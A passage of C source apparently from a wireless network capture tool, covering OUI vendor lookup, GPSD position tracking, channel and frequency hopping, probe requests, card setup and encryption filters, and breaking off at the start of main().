found = !strncasecmp(ptr->id, oui, OUI_STR_SIZE);
if (found)
{
memcpy(manuf, ptr->manuf, MANUF_SIZE);
break;
}
ptr = ptr->next;
}
}
else
{
// If the file exist, then query it each time we need to get a
// manufacturer.
fp = open_oui_file();
if (fp != NULL)
{
memset(buffer, 0x00, sizeof(buffer));
while (fgets(buffer, sizeof(buffer), fp) != NULL)
{
if (strstr(buffer, "(hex)") == NULL)
{
continue;
}
memset(a, 0x00, sizeof(a));
memset(b, 0x00, sizeof(b));
memset(c, 0x00, sizeof(c));
if (sscanf(buffer,
"%2c-%2c-%2c",
(char *) a,
(char *) b,
(char *) c)
== 3)
{
snprintf(temp,
sizeof(temp),
"%c%c:%c%c:%c%c",
a[0],
a[1],
b[0],
b[1],
c[0],
c[1]);
found = !memcmp(temp, oui, oui_len);
if (found)
{
manuf_str = get_manufacturer_from_string(buffer);
if (manuf_str != NULL)
{
snprintf(manuf, MANUF_SIZE, "%s", manuf_str);
free(manuf_str);
}
break;
}
}
memset(buffer, 0x00, sizeof(buffer));
}
fclose(fp);
}
}
// Not found, use "Unknown".
if (!found || *manuf == '\0')
{
memcpy(manuf, "Unknown", 7);
manuf[7] = '\0';
}
// Going in a smaller buffer
rmanuf = (char *) realloc(manuf, (strlen(manuf) + 1) * sizeof(char));
ALLEGE(rmanuf != NULL);
return (rmanuf);
}
#undef OUI_STR_SIZE
#undef MANUF_SIZE
/* Read at least one full line from the network.
*
* Returns the amount of data in the buffer on success, 0 on connection
* closed, or a negative value on error.
*
* If the return value is >0, the buffer contains at least one newline
* character. If the return value is <= 0, the contents of the buffer
* are undefined.
*/
static inline ssize_t
read_line(int sock, char * buffer, size_t pos, size_t size)
{
ssize_t status = 1;
if (size < 1 || pos >= size || buffer == NULL || sock < 0)
{
return (-1);
}
while (strchr_n(buffer, 0x0A, pos) == NULL && status > 0 && pos < size)
{
status = recv(sock, buffer + pos, size - pos, 0);
if (status > 0)
{
pos += status;
}
}
if (status <= 0)
{
return (status);
}
else if (pos == size && strchr_n(buffer, 0x0A, pos) == NULL)
{
return (-1);
}
return (pos);
}
/* Extract a name:value pair from a null-terminated line of JSON.
*
* Returns 1 if the name was found, or 0 otherwise.
*
* The string in "value" is null-terminated if the name was found. If
* the name was not found, the contents of "value" are undefined.
*/
static int
json_get_value_for_name(const char * buffer, const char * name, char * value)
{
char * to_find;
char * cursor;
size_t to_find_len;
char * vcursor = value;
int ret = 0;
if (buffer == NULL || *buffer == '\0' || name == NULL || *name == '\0'
|| value == NULL)
{
return (0);
}
to_find_len = strlen(name) + 3;
to_find = (char *) malloc(to_find_len);
ALLEGE(to_find != NULL);
snprintf(to_find, to_find_len, "\"%s\"", name);
cursor = strstr(buffer, to_find);
free(to_find);
if (cursor != NULL)
{
cursor += to_find_len - 1;
while (*cursor != ':' && *cursor != '\0')
{
cursor++;
}
if (*cursor != '\0')
{
cursor++;
while (isspace((int) (*cursor)) && *cursor != '\0')
{
cursor++;
}
}
if ('\0' == *cursor)
{
return (0);
}
if ('"' == *cursor)
{
/* Quoted string */
cursor++;
while (*cursor != '"' && *cursor != '\0')
{
if ('\\' == *cursor && '"' == *(cursor + 1))
{
/* Escaped quote */
*vcursor = '"';
cursor++;
}
else
{
*vcursor = *cursor;
}
vcursor++;
cursor++;
}
*vcursor = '\0';
ret = 1;
}
else if (strncmp(cursor, "true", 4) == 0)
{
/* Boolean */
strcpy(value, "true");
ret = 1;
}
else if (strncmp(cursor, "false", 5) == 0)
{
/* Boolean */
strcpy(value, "false");
ret = 1;
}
else if ('{' == *cursor || '[' == *cursor)
{
/* Object or array. Too hard to handle and not needed for
* getting coords from GPSD, so pretend we didn't see anything.
*/
ret = 0;
}
else
{
/* Number, supposedly. Copy as-is. */
while (*cursor != ',' && *cursor != '}'
&& !isspace((int) (*cursor)))
{
*vcursor = *cursor;
cursor++;
vcursor++;
}
*vcursor = '\0';
ret = 1;
}
}
return (ret);
}
static THREAD_ENTRY(gps_tracker_thread)
{
int gpsd_sock = -1;
char line[1537], buffer[1537], data[1537];
char * temp;
struct sockaddr_in gpsd_addr;
int is_json;
ssize_t pos;
int gpsd_tried_connection = 0;
fd_set read_fd;
struct timeval timeout;
(void) arg;
int * return_success = malloc(sizeof(int));
ALLEGE(return_success != NULL);
int * return_error = malloc(sizeof(int));
ALLEGE(return_error != NULL);
*return_success = 0;
*return_error = -1;
// In case we GPSd goes down or we lose connection or a fix, we keep trying to connect inside the while loop
while (lopt.do_exit == 0)
{
// If our socket connection to GPSD has been attempted and failed wait before trying again - used to prevent locking the CPU on socket retries
if (gpsd_tried_connection)
{
sleep(2);
}
gpsd_tried_connection = 1;
time_t updateTime = time(NULL);
memset(line, 0, sizeof(line));
memset(buffer, 0, sizeof(buffer));
memset(data, 0, sizeof(data));
/* attempt to connect to localhost, port 2947 */
pos = 0;
if (gpsd_sock >= 0)
{
close(gpsd_sock);
}
gpsd_sock = socket(AF_INET, SOCK_STREAM, 0);
if (gpsd_sock < 0) continue;
memset(&gpsd_addr, 0, sizeof(struct sockaddr_in));
gpsd_addr.sin_family = AF_INET;
gpsd_addr.sin_port = htons(2947);
gpsd_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
if (connect(
gpsd_sock, (struct sockaddr *) &gpsd_addr, sizeof(gpsd_addr))
< 0)
continue;
// Check if it's GPSd < 2.92 or the new one
// 2.92+ immediately sends version information
// < 2.92 requires to send PVTAD command
FD_ZERO(&read_fd);
FD_SET(gpsd_sock, &read_fd); // NOLINT(hicpp-signed-bitwise)
timeout.tv_sec = 1;
timeout.tv_usec = 0;
is_json = select(gpsd_sock + 1, &read_fd, NULL, NULL, &timeout);
if (is_json > 0)
{
/* Probably JSON. Read the first line and verify it's a version of the
* protocol we speak. */
if ((pos = read_line(gpsd_sock, buffer, 0, sizeof(buffer))) <= 0)
continue;
pos = get_line_from_buffer(buffer, (size_t) pos, line);
is_json = (json_get_value_for_name(line, "class", data)
&& strncmp(data, "VERSION", 7) == 0);
if (is_json)
{
/* Verify it's a version of the protocol we speak */
if (json_get_value_for_name(line, "proto_major", data)
&& data[0] != '3')
{
/* It's an unknown version of the protocol. Bail out. */
continue;
}
// Send ?WATCH={"json":true};
memset(line, 0, sizeof(line));
strcpy(line, "?WATCH={\"json\":true};\n");
if (send(gpsd_sock, line, 22, 0) != 22) continue;
}
}
else if (is_json < 0)
{
/* An error occurred while we were waiting for data */
continue;
}
/* Else select() returned zero (timeout expired) and we assume we're
* connected to an old-style gpsd. */
// Initialisation of all GPS data to 0
memset(lopt.gps_loc, 0, sizeof(lopt.gps_loc));
/* Inside loop for reading the GPS coordinates/data */
while (lopt.do_exit == 0)
{
gpsd_tried_connection = 0; // reset socket connection test
usleep(500000);
// Reset all GPS data before each read so that if we lose GPS signal
// or drop to a 2D fix, the loss of data is accurately reflected
// gps_loc data structure:
// 0 = lat, 1 = lon, 2 = speed, 3 = heading, 4 = alt, 5 = lat error, 6 = lon error, 7 = vertical error
// Check if we need to reset/invalidate our GPS data if the data has become 'stale' based on a timeout/interval
if (time(NULL) - updateTime > lopt.gps_valid_interval)
{
memset(lopt.gps_loc, 0, sizeof(lopt.gps_loc));
}
// Record ALL GPS data from GPSD
if (opt.record_data)
{
fputs(line, opt.f_gps);
}
/* read position, speed, heading, altitude */
if (is_json)
{
// Format definition: http://catb.org/gpsd/gpsd_json.html
if ((pos = read_line(
gpsd_sock, buffer, (size_t) pos, sizeof(buffer)))
<= 0)
break;
pos = get_line_from_buffer(buffer, (size_t) pos, line);
// See if we got a TPV report - aka actual GPS data if not send default 0 values
if (!json_get_value_for_name(line, "class", data)
|| strncmp(data, "TPV", 3) != 0)
{
/* Not a TPV report. Get another line. */
continue;
}
/* See what sort of GPS fix we got. Possibilities are:
* 0: No data
* 1: No fix
* 2: Lat/Lon, but no alt
* 3: Lat/Lon/Alt
* Either 2 or 3 may also have speed and heading data.
*/
if (!json_get_value_for_name(line, "mode", data)
|| (strtol(data, NULL, 10)) < 2)
{
/* No GPS fix, so there are no coordinates to extract. */
continue;
}
/* Extract the available data from the TPV report. If we're
* in mode 2, latitude and longitude are mandatory, altitude
* is set to 0, and speed and heading are optional.
* In mode 3, latitude, longitude, and altitude are mandatory,
* while speed and heading are optional.
* If we can't get a mandatory value, the line is discarded
* as fragmentary or malformed. If we can't get an optional
* value, we default it to 0.
*/
// GPS Time
if (json_get_value_for_name(line, "time", data))
{
if (!(strptime(data, "%Y-%m-%dT%H:%M:%S", &lopt.gps_time)
== NULL))
{
updateTime = time(NULL);
}
}
// Latitude
if (json_get_value_for_name(line, "lat", data))
{
lopt.gps_loc[0] = strtof(data, NULL);
if (errno == EINVAL || errno == ERANGE)
{
lopt.gps_loc[0] = 0;
}
}
// Longitude
if (json_get_value_for_name(line, "lon", data))
{
lopt.gps_loc[1] = strtof(data, NULL);
if (errno == EINVAL || errno == ERANGE)
{
lopt.gps_loc[1] = 0;
}
}
// Longitude Error
if (json_get_value_for_name(line, "epx", data))
{
lopt.gps_loc[6] = strtof(data, NULL);
if (errno == EINVAL || errno == ERANGE)
{
lopt.gps_loc[6] = 0;
}
}
// Latitude Error
if (json_get_value_for_name(line, "epy", data))
{
lopt.gps_loc[5] = strtof(data, NULL);
if (errno == EINVAL || errno == ERANGE)
{
lopt.gps_loc[5] = 0;
}
}
// Vertical Error
if (json_get_value_for_name(line, "epv", data))
{
lopt.gps_loc[7] = strtof(data, NULL);
if (errno == EINVAL || errno == ERANGE)
{
lopt.gps_loc[7] = 0;
}
}
// Altitude
if (json_get_value_for_name(line, "alt", data))
{
lopt.gps_loc[4] = strtof(data, NULL);
if (errno == EINVAL || errno == ERANGE)
{
lopt.gps_loc[4] = 0;
}
}
// Speed
if (json_get_value_for_name(line, "speed", data))
{
lopt.gps_loc[2] = strtof(data, NULL);
if (errno == EINVAL || errno == ERANGE)
{
lopt.gps_loc[2] = 0;
}
}
// Heading
if (json_get_value_for_name(line, "track", data))
{
lopt.gps_loc[3] = strtof(data, NULL);
if (errno == EINVAL || errno == ERANGE)
{
lopt.gps_loc[3] = 0;
}
}
}
else
{
// Else read a NON JSON format
memset(line, 0, sizeof(line));
strcat(line, "PVTAD\r\n");
if (send(gpsd_sock, line, 7, 0) != 7)
{
free(return_success);
return (return_error);
}
memset(line, 0, sizeof(line));
if (recv(gpsd_sock, line, sizeof(line) - 1, 0) <= 0)
{
free(return_success);
return (return_error);
}
if (memcmp(line, "GPSD,P=", 7) != 0) continue;
/* make sure the coordinates are present */
if (line[7] == '?') continue;
int ret;
updateTime = time(NULL);
ret = sscanf(line + 7,
"%f %f",
&lopt.gps_loc[0],
&lopt.gps_loc[1]); /* lat lon */
if (ret == EOF) fprintf(stderr, "Failed to parse lat lon.\n");
if ((temp = strstr(line, "V=")) == NULL) continue;
ret = sscanf(temp + 2, "%f", &lopt.gps_loc[2]); /* speed */
if (ret == EOF) fprintf(stderr, "Failed to parse speed.\n");
if ((temp = strstr(line, "T=")) == NULL) continue;
ret = sscanf(temp + 2, "%f", &lopt.gps_loc[3]); /* heading */
if (ret == EOF) fprintf(stderr, "Failed to parse heading.\n");
if ((temp = strstr(line, "A=")) == NULL) continue;
ret = sscanf(temp + 2, "%f", &lopt.gps_loc[4]); /* altitude */
if (ret == EOF) fprintf(stderr, "Failed to parse altitude.\n");
}
lopt.save_gps = 1;
}
// If we are still wanting to read GPS but encountered an error - reset data and try again
if (lopt.do_exit == 0)
{
memset(lopt.gps_loc, 0, sizeof(lopt.gps_loc));
sleep(1);
}
}
free(return_error);
return (return_success);
}
static void sighandler(int signum)
{
int card = 0;
if (signum == SIGUSR1)
{
ssize_t unused = read(lopt.cd_pipe[0], &card, sizeof(int));
if (unused < 0)
{
// error occurred
perror("read");
return;
}
else if (unused == 0)
{
// EOF
perror("EOF encountered read(opt.cd_pipe[0])");
return;
}
if (card < 0 || (size_t) card >= ArrayCount(lopt.frequency))
{
// invalid received data
fprintf(stderr,
"Invalid data received for read(opt.cd_pipe[0]), got %d\n",
card);
return;
}
if (lopt.freqoption)
IGNORE_LTZ(
read(lopt.ch_pipe[0], &(lopt.frequency[card]), sizeof(int)));
else
IGNORE_LTZ(
read(lopt.ch_pipe[0], &(lopt.channel[card]), sizeof(int)));
}
if (signum == SIGUSR2)
IGNORE_LTZ(read(lopt.gc_pipe[0], &lopt.gps_loc, sizeof(lopt.gps_loc)));
if (signum == SIGINT || signum == SIGTERM)
{
lopt.do_exit = 1;
show_cursor();
reset_term();
fprintf(stdout, "Quitting...\n");
}
if (signum == SIGSEGV)
{
fprintf(stderr,
"Caught signal 11 (SIGSEGV). Please"
" contact the author!\n\n");
show_cursor();
fflush(stdout);
exit(1);
}
if (signum == SIGALRM)
{
fprintf(stdout,
"Caught signal 14 (SIGALRM). Please"
" contact the author!\n\n");
show_cursor();
_exit(1);
}
if (signum == SIGCHLD) wait(NULL);
if (signum == SIGWINCH)
{
erase_display(0);
fflush(stdout);
}
}
static int send_probe_request(struct wif * wi)
{
REQUIRE(wi != NULL);
int len;
uint8_t p[4096], r_smac[6];
memcpy(p, PROBE_REQ, 24);
len = 24;
p[24] = 0x00; // ESSID Tag Number
p[25] = 0x00; // ESSID Tag Length
len += 2;
memcpy(p + len, RATES, 16);
len += 16;
r_smac[0] = 0x00;
r_smac[1] = rand_u8();
r_smac[2] = rand_u8();
r_smac[3] = rand_u8();
r_smac[4] = rand_u8();
r_smac[5] = rand_u8();
memcpy(p + 10, r_smac, 6);
if (wi_write(wi, NULL, LINKTYPE_IEEE802_11, p, len, NULL) == -1)
{
switch (errno)
{
case EAGAIN:
case ENOBUFS:
usleep(10000);
return (0); /* XXX not sure I like this... -sorbo */
default:
break;
}
perror("wi_write()");
return (-1);
}
return (0);
}
static int send_probe_requests(struct wif * wi[], int cards)
{
REQUIRE(wi != NULL);
REQUIRE(cards > 0);
int i = 0;
for (i = 0; i < cards; i++)
{
send_probe_request(wi[i]);
}
return (0);
}
static int getchancount(int valid)
{
int i = 0, chan_count = 0;
while (lopt.channels[i])
{
i++;
if (lopt.channels[i] != -1) chan_count++;
}
if (valid) return (chan_count);
return (i);
}
static int getfreqcount(int valid)
{
int i = 0, freq_count = 0;
while (lopt.own_frequencies[i])
{
i++;
if (lopt.own_frequencies[i] != -1) freq_count++;
}
if (valid) return (freq_count);
return (i);
}
static void
channel_hopper(struct wif * wi[], int if_num, int chan_count, pid_t parent)
{
int ch, ch_idx = 0, card = 0, chi = 0, cai = 0, j = 0, k = 0, first = 1,
again;
int dropped = 0;
while (0 == kill(parent, 0))
{
for (j = 0; j < if_num; j++)
{
again = 1;
ch_idx = chi % chan_count;
card = cai % if_num;
++chi;
++cai;
if (lopt.chswitch == 2 && !first)
{
j = if_num - 1;
card = if_num - 1;
if (getchancount(1) > if_num)
{
while (again)
{
again = 0;
for (k = 0; k < (if_num - 1); k++)
{
if (lopt.channels[ch_idx] == lopt.channel[k])
{
again = 1;
ch_idx = chi % chan_count;
chi++;
}
}
}
}
}
if (lopt.channels[ch_idx] == -1)
{
j--;
cai--;
dropped++;
if (dropped >= chan_count)
{
ch = wi_get_channel(wi[card]);
lopt.channel[card] = ch;
IGNORE_LTZ(write(lopt.cd_pipe[1], &card, sizeof(int)));
IGNORE_LTZ(write(lopt.ch_pipe[1], &ch, sizeof(int)));
kill(parent, SIGUSR1);
usleep(1000);
}
continue;
}
dropped = 0;
ch = lopt.channels[ch_idx];
#ifdef CONFIG_LIBNL
if (wi_set_ht_channel(wi[card], ch, lopt.htval) == 0)
#else
if (wi_set_channel(wi[card], ch) == 0)
#endif
{
lopt.channel[card] = ch;
IGNORE_LTZ(write(lopt.cd_pipe[1], &card, sizeof(int)));
IGNORE_LTZ(write(lopt.ch_pipe[1], &ch, sizeof(int)));
if (lopt.active_scan_sim > 0) send_probe_request(wi[card]);
kill(parent, SIGUSR1);
usleep(1000);
}
else
{
lopt.channels[ch_idx] = -1; /* remove invalid channel */
j--;
cai--;
continue;
}
}
if (lopt.chswitch == 0)
{
chi = chi - (if_num - 1);
}
if (first)
{
first = 0;
}
usleep((useconds_t) (lopt.hopfreq * 1000));
}
exit(0);
}
static void
frequency_hopper(struct wif * wi[], int if_num, int chan_count, pid_t parent)
{
int ch, ch_idx = 0, card = 0, chi = 0, cai = 0, j = 0, k = 0, first = 1,
again;
int dropped = 0;
while (0 == kill(parent, 0))
{
for (j = 0; j < if_num; j++)
{
again = 1;
ch_idx = chi % chan_count;
card = cai % if_num;
++chi;
++cai;
if (lopt.chswitch == 2 && !first)
{
j = if_num - 1;
card = if_num - 1;
if (getfreqcount(1) > if_num)
{
while (again)
{
again = 0;
for (k = 0; k < (if_num - 1); k++)
{
if (lopt.own_frequencies[ch_idx]
== lopt.frequency[k])
{
again = 1;
ch_idx = chi % chan_count;
chi++;
}
}
}
}
}
if (lopt.own_frequencies[ch_idx] == -1)
{
j--;
cai--;
dropped++;
if (dropped >= chan_count)
{
ch = wi_get_freq(wi[card]);
lopt.frequency[card] = ch;
IGNORE_LTZ(write(lopt.cd_pipe[1], &card, sizeof(int)));
IGNORE_LTZ(write(lopt.ch_pipe[1], &ch, sizeof(int)));
kill(parent, SIGUSR1);
usleep(1000);
}
continue;
}
dropped = 0;
ch = lopt.own_frequencies[ch_idx];
if (wi_set_freq(wi[card], ch) == 0)
{
lopt.frequency[card] = ch;
IGNORE_LTZ(write(lopt.cd_pipe[1], &card, sizeof(int)));
IGNORE_LTZ(write(lopt.ch_pipe[1], &ch, sizeof(int)));
kill(parent, SIGUSR1);
usleep(1000);
}
else
{
lopt.own_frequencies[ch_idx] = -1; /* remove invalid channel */
j--;
cai--;
continue;
}
}
if (lopt.chswitch == 0)
{
chi = chi - (if_num - 1);
}
if (first)
{
first = 0;
}
usleep((useconds_t) (lopt.hopfreq * 1000));
}
exit(0);
}
static inline int invalid_channel(int chan)
{
int i = 0;
do
{
if (chan == abg_chans[i] && chan != 0) return (0);
} while (abg_chans[++i]);
return (1);
}
static inline int invalid_frequency(int freq)
{
int i = 0;
do
{
if (freq == frequencies[i] && freq != 0) return (0);
} while (frequencies[++i]);
return (1);
}
/* parse a string, for example "1,2,3-7,11" */
static int getchannels(const char * optarg)
{
#define GETCHANNELS_CHAN_MAX 128u
size_t i = 0, chan_cur = 0, chan_first = 0, chan_last = 0,
chan_max = GETCHANNELS_CHAN_MAX, chan_remain = 0;
char *optchan = NULL, *optc;
char * token = NULL;
int tmp_channels[GETCHANNELS_CHAN_MAX + 1] = {0};
// got a NULL pointer?
if (optarg == NULL) return (-1);
chan_remain = chan_max;
// create a writable string
const size_t optchan_len = strlen(optarg) + 1;
optc = optchan = (char *) malloc(optchan_len);
ALLEGE(optc != NULL);
ALLEGE(optchan != NULL);
strlcpy(optchan, optarg, optchan_len);
// split string in tokens, separated by ','
while ((token = strsep(&optchan, ",")) != NULL)
{
const size_t token_len = strlen(token);
// range defined?
if (strchr(token, '-') != NULL)
{
// only 1 '-' ?
if (strchr(token, '-') == strrchr(token, '-'))
{
// are there any illegal characters?
for (i = 0; i < token_len; i++)
{
if (((token[i] < '0') || (token[i] > '9'))
&& (token[i] != '-'))
{
free(optc);
return (-1);
}
}
if (sscanf(token, "%zu-%zu", &chan_first, &chan_last) != EOF)
{
if (chan_first > chan_last)
{
free(optc);
return (-1);
}
for (i = chan_first; i <= chan_last; i++)
{
if ((!invalid_channel(i)) && (chan_remain > 0))
{
tmp_channels[chan_max - chan_remain] = i;
chan_remain--;
}
}
}
else
{
free(optc);
return (-1);
}
}
else
{
free(optc);
return (-1);
}
}
else
{
// are there any illegal characters?
for (i = 0; i < token_len; i++)
{
if ((token[i] < '0') || (token[i] > '9'))
{
free(optc);
return (-1);
}
}
if (sscanf(token, "%zu", &chan_cur) != EOF)
{
if ((!invalid_channel(chan_cur)) && (chan_remain > 0))
{
tmp_channels[chan_max - chan_remain] = chan_cur;
chan_remain--;
}
}
else
{
free(optc);
return (-1);
}
}
}
lopt.own_channels
= (int *) malloc(sizeof(int) * (chan_max - chan_remain + 1));
ALLEGE(lopt.own_channels != NULL);
if (chan_max > 0 && chan_max >= chan_remain) //-V560
{
for (i = 0; i < (chan_max - chan_remain); i++) //-V658
{
lopt.own_channels[i] = tmp_channels[i];
}
}
lopt.own_channels[i] = 0;
free(optc);
if (i == 1) return (lopt.own_channels[0]);
if (i == 0) return (-1);
return (0);
}
/* parse a string, for example "1,2,3-7,11" */
static int getfrequencies(const char * optarg)
{
size_t i = 0, freq_cur = 0, freq_first = 0, freq_last = 0, freq_max = 10000,
freq_remain = 0;
char *optfreq = NULL, *optc;
char * token = NULL;
int * tmp_frequencies;
// got a NULL pointer?
if (optarg == NULL) return -1;
freq_remain = freq_max;
// create a writable string
const size_t optfreq_len = strlen(optarg) + 1;
optc = optfreq = (char *) malloc(optfreq_len);
ALLEGE(optc != NULL);
ALLEGE(optfreq != NULL);
strlcpy(optfreq, optarg, optfreq_len);
tmp_frequencies = (int *) malloc(sizeof(int) * (freq_max + 1));
ALLEGE(tmp_frequencies != NULL);
// split string in tokens, separated by ','
while ((token = strsep(&optfreq, ",")) != NULL)
{
const size_t token_len = strlen(token);
// range defined?
if (strchr(token, '-') != NULL)
{
// only 1 '-' ?
if (strchr(token, '-') == strrchr(token, '-'))
{
// are there any illegal characters?
for (i = 0; i < token_len; i++)
{
if ((token[i] < '0' || token[i] > '9') && (token[i] != '-'))
{
free(tmp_frequencies);
free(optc);
return (-1);
}
}
if (sscanf(token, "%zu-%zu", &freq_first, &freq_last) != EOF)
{
if (freq_first > freq_last)
{
free(tmp_frequencies);
free(optc);
return (-1);
}
for (i = freq_first; i <= freq_last; i++)
{
if ((!invalid_frequency(i)) && (freq_remain > 0))
{
tmp_frequencies[freq_max - freq_remain] = i;
freq_remain--;
}
}
}
else
{
free(tmp_frequencies);
free(optc);
return (-1);
}
}
else
{
free(tmp_frequencies);
free(optc);
return (-1);
}
}
else
{
// are there any illegal characters?
for (i = 0; i < token_len; i++)
{
if ((token[i] < '0') || (token[i] > '9'))
{
free(tmp_frequencies);
free(optc);
return (-1);
}
}
if (sscanf(token, "%zu", &freq_cur) != EOF)
{
if ((!invalid_frequency(freq_cur)) && (freq_remain > 0))
{
tmp_frequencies[freq_max - freq_remain] = freq_cur;
freq_remain--;
}
/* special case "-C 0" means: scan all available frequencies */
if (freq_cur == 0)
{
freq_first = 1;
freq_last = 9999;
for (i = freq_first; i <= freq_last; i++)
{
if ((!invalid_frequency(i)) && (freq_remain > 0))
{
tmp_frequencies[freq_max - freq_remain] = i;
freq_remain--;
}
}
}
}
else
{
free(tmp_frequencies);
free(optc);
return (-1);
}
}
}
lopt.own_frequencies
= (int *) malloc(sizeof(int) * (freq_max - freq_remain + 1));
ALLEGE(lopt.own_frequencies != NULL);
if (freq_max > 0 && freq_max >= freq_remain) //-V560
{
for (i = 0; i < (freq_max - freq_remain); i++) //-V658
{
lopt.own_frequencies[i] = tmp_frequencies[i];
}
}
lopt.own_frequencies[i] = 0;
free(tmp_frequencies);
free(optc);
if (i == 1) return (lopt.own_frequencies[0]); // exactly 1 frequency given
if (i == 0) return (-1); // error occurred
return (0); // frequency hopping
}
static int setup_card(char * iface, struct wif ** wis)
{
REQUIRE(iface != NULL);
REQUIRE(wis != NULL);
struct wif * wi;
wi = wi_open(iface);
if (!wi) return (-1);
*wis = wi;
return (0);
}
static int init_cards(const char * cardstr, char * iface[], struct wif ** wi)
{
char * buffer;
char * buf;
int if_count = 0;
int i = 0, again = 0;
// Check card string is valid
if (cardstr == NULL || cardstr[0] == 0)
{
return (-1);
}
buf = buffer = strdup(cardstr);
if (buf == NULL)
{
return (-1);
}
while ((if_count < MAX_CARDS)
&& ((iface[if_count] = strsep(&buffer, ",")) != NULL))
{
again = 0;
for (i = 0; i < if_count; i++)
{
if (strcmp(iface[i], iface[if_count]) == 0) again = 1;
}
if (again) continue;
if (setup_card(iface[if_count], &(wi[if_count])) != 0)
{
free(buf);
return (-1);
}
if_count++;
}
free(buf);
return (if_count);
}
static int set_encryption_filter(const char * input)
{
if (input == NULL) return (1);
if (strlen(input) < 3) return (1);
if (strcasecmp(input, "opn") == 0) lopt.f_encrypt |= STD_OPN;
if (strcasecmp(input, "wep") == 0) lopt.f_encrypt |= STD_WEP;
if (strcasecmp(input, "wpa") == 0)
{
lopt.f_encrypt |= STD_WPA;
lopt.f_encrypt |= STD_WPA2;
lopt.f_encrypt |= AUTH_SAE;
}
if (strcasecmp(input, "wpa1") == 0) lopt.f_encrypt |= STD_WPA;
if (strcasecmp(input, "wpa2") == 0) lopt.f_encrypt |= STD_WPA2;
if (strcasecmp(input, "wpa3") == 0) lopt.f_encrypt |= AUTH_SAE;
if (strcasecmp(input, "owe") == 0) lopt.f_encrypt |= AUTH_OWE;
return (0);
}
static int check_monitor(struct wif * wi[], int * fd_raw, int * fdh, int cards)
{
int i, monitor;
char ifname[64];
for (i = 0; i < cards; i++)
{
monitor = wi_get_monitor(wi[i]);
if (monitor != 0)
{
memset(lopt.message, '\x00', sizeof(lopt.message));
snprintf(lopt.message,
sizeof(lopt.message),
"][ %s reset to monitor mode",
wi_get_ifname(wi[i]));
// reopen in monitor mode
strlcpy(ifname, wi_get_ifname(wi[i]), sizeof(ifname));
wi_close(wi[i]);
wi[i] = wi_open(ifname);
if (!wi[i])
{
printf("Can't reopen %s\n", ifname);
exit(1);
}
fd_raw[i] = wi_fd(wi[i]);
if (fd_raw[i] > *fdh) *fdh = fd_raw[i];
}
}
return (0);
}
static int check_channel(struct wif * wi[], int cards)
{
int i, chan;
for (i = 0; i < cards; i++)
{
chan = wi_get_channel(wi[i]);
if (opt.ignore_negative_one == 1 && chan == -1) return (0);
if (lopt.channel[i] != chan)
{
memset(lopt.message, '\x00', sizeof(lopt.message));
snprintf(lopt.message,
sizeof(lopt.message),
"][ fixed channel %s: %d ",
wi_get_ifname(wi[i]),
chan);
#ifdef CONFIG_LIBNL
wi_set_ht_channel(wi[i], lopt.channel[i], lopt.htval);
#else
wi_set_channel(wi[i], lopt.channel[i]);
#endif
}
}
return (0);
}
static int check_frequency(struct wif * wi[], int cards)
{
int i, freq;
for (i = 0; i < cards; i++)
{
freq = wi_get_freq(wi[i]);
if (freq < 0) continue;
if (lopt.frequency[i] != freq)
{
memset(lopt.message, '\x00', sizeof(lopt.message));
snprintf(lopt.message,
sizeof(lopt.message),
"][ fixed frequency %s: %d ",
wi_get_ifname(wi[i]),
freq);
wi_set_freq(wi[i], lopt.frequency[i]);
}
}
return (0);
}
static int detect_frequencies(struct wif * wi)
{
REQUIRE(wi != NULL);
int start_freq = 2192;
int end_freq = 2732;
int max_freq_num = 2048; // should be enough to keep all available channels
int freq = 0, i = 0;
printf("Checking available frequencies, this could take few seconds.\n");
frequencies = (int *) malloc(
(max_freq_num + 1) * sizeof(int)); // field for frequencies supported
ALLEGE(frequencies != NULL);
memset(frequencies, 0, (max_freq_num + 1) * sizeof(int));
for (freq = start_freq; freq <= end_freq; freq += 5)
{
if (wi_set_freq(wi, freq) == 0)
{
frequencies[i] = freq;
i++;
}
if (freq == 2482)
{
// special case for chan 14, as its 12MHz away from 13, not 5MHz
freq = 2484;
if (wi_set_freq(wi, freq) == 0)
{
frequencies[i] = freq;
i++;
}
freq = 2482;
}
}
// again for 5GHz & 6GHz channels
start_freq = 4800;
end_freq = 7115;
for (freq = start_freq; freq <= end_freq; freq += 5)
{
if (wi_set_freq(wi, freq) == 0)
{
frequencies[i] = freq;
i++;
}
}
printf("Done.\n");
return (0);
}
static int array_contains(const int * array, int length, int value)
{
REQUIRE(array != NULL);
REQUIRE(length >= 0 && length < INT_MAX);
int i;
for (i = 0; i < length; i++)
if (array[i] == value) return (1);
return (0);
}
static int rearrange_frequencies(void)
{
int * freqs;
int count, left, pos;
int width, last_used = 0;
int cur_freq, round_done;
width = DEFAULT_CWIDTH;
count = getfreqcount(0);
left = count;
pos = 0;
freqs = malloc(sizeof(int) * (count + 1));
ALLEGE(freqs != NULL);
memset(freqs, 0, sizeof(int) * (count + 1));
round_done = 0;
while (left > 0)
{
cur_freq = lopt.own_frequencies[pos % count];
if (cur_freq == last_used) round_done = 1;
if (((count - left) > 0) && !round_done
&& (ABS(last_used - cur_freq) < width))
{
pos++;
continue;
}
if (!array_contains(freqs, count, cur_freq))
{
freqs[count - left] = cur_freq;
last_used = cur_freq;
left--;
round_done = 0;
}
pos++;
}
memcpy(lopt.own_frequencies, freqs, count * sizeof(int));
free(freqs);
return (0);
}
int main(int argc, char * argv[])
{
long time_slept, cycle_time, cycle_time2;
char * output_format_string;
int caplen = 0, i, j, fdh, chan_count, freq_count;
int fd_raw[MAX_CARDS];
int ivs_only, found;
int freq[2];
int num_opts = 0;
int option = 0;
int option_index = 0;
char ifnam[64];
int wi_read_failed = 0;
int n = 0;
int output_format_first_time = 1;
unsigned char mac[6];
#ifdef HAVE_PCRE2
int pcreerror;
PCRE2_UCHAR pcreerrorbuf[256];
PCRE2_SIZE pcreerroffset;
#elif defined HAVE_PCRE
const char * pcreerror;
int pcreerroffset;
#endif
struct AP_info *ap_cur, *ap_next;
struct ST_info *st_cur, *st_next;
struct NA_info *na_cur, *na_next;
struct oui *oui_cur, *oui_next;
struct pcap_pkthdr pkh;
time_t tt1, tt2, start_time;
struct wif * wi[MAX_CARDS];
struct rx_info ri;
unsigned char tmpbuf[4096];
unsigned char buffer[4096];
unsigned char * h80211;
char * iface[MAX_CARDS];
struct timeval tv0;
struct timeval tv1;
struct timeval tv2;
struct timeval tv3;
struct timeval tv4;
struct tm * lt;
/*
struct sockaddr_in provis_addr;
*/
fd_set rfds;
static const struct option long_options[]
= {{"ht20", 0, 0, '2'},
{"ht40-", 0, 0, '3'},
